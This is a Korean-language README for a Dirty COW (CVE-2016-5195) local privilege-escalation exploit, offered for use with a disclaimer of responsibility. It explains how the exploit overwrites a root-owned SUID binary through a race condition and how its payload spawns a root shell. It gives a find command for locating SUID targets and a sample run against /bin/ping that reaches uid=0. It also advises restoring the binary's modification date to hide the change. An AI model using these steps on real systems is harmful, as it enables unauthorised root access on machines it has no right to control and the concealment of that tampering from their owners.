
CVE-2016-5195용 예제 익스플로잇
이 코드를 사용하여 당신이 하는 어떤 일에 대해서도 저는 책임을 지지 않습니다. 이 코드는 어떠한 보증도 없이 제공됩니다.
CVE-2016-5195를 위한 익스플로잇으로, 읽기 전용 SUID 실행 파일을 메모리(읽기 전용)에 매핑하고 경쟁 조건을 이용하여 원하는 ELF로 덮어씁니다. 페이로드는 익스플로잇 코드와 함께 NASM 형식(cowshell-x86.asm && cowshell-x86_64.asm)으로 제공되며, cashm0ney 안에 무엇이 있는지 확인하려면 해당 파일을 참고하십시오.
페이로드는 setuid(0)으로 권한 상승을 수행하고, vm.dirty_writeback_centisecs에 0을 설정하여 파일 시스템 쓰기백으로 인한 충돌을 방지한 후 셸(/bin/sh)을 띄웁니다. 이 버전은 /proc/self/mem에 쓰기를 시도하지 않으므로 CentOS/RHEL 시스템에서도 사용 가능합니다. 여전히 ptrace에 의존하므로 대상 시스템에서 ptrace가 제한된 경우 실패할 수 있습니다.
현재 사용자가 최소한 읽기 권한을 가진 루트 소유의 SUID 실행 파일을 찾습니다:
find / -type f -perm 4755
meow@dirtytest:~/Desktop$ ./derpyc0w /bin/ping /tmp/ping [*] /bin/ping을(를) 열었습니다 [*] /bin/ping을(를) /tmp/ping에 백업합니다 [*] 파일이 0x0x7f0cbe7ce000에 매핑되었습니다 [*] 자식 프로세스가 알릴 때까지 기다리는 중 [*] madvise 스레드를 시작합니다. [*] 자식 프로세스가 알림을 보냈습니다. [*] 262바이트를 쓰기 위해 준비 중 [*] 쓰기 시도 중. [*] 0번째 바이트를 썼습니다 [*] 1번째 바이트를 썼습니다 [*] 2번째 바이트를 썼습니다 [*] 3번째 바이트를 썼습니다 [*] 4번째 바이트를 썼습니다 [*] 5번째 바이트를 썼습니다 [*] 6번째 바이트를 썼습니다 [*] 7번째 바이트를 썼습니다 [*] 8번째 바이트를 썼습니다 생략 [*] 259번째 바이트를 썼습니다 [*] 260번째 바이트를 썼습니다 [*] 261번째 바이트를 썼습니다 [+] w00t, 쓰기 완료 [+] 셸을 띄웁니다. 올바른 권한으로 /tmp/ping에서 /bin/ping을 복원하는 것을 잊지 마세요! # id uid=0(root) gid=1000(meow) groups=1000(meow),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),131(sambashare) #
덮어쓰여진 바이너리를 생성된 백업에서 원래 경로로 복원하고, chown 및 chmod를 사용하여 올바른 소유권과 권한으로 되돌리는 것을 잊지 마십시오. 완벽을 기하기 위해 수정 날짜도 원래대로 되돌리십시오.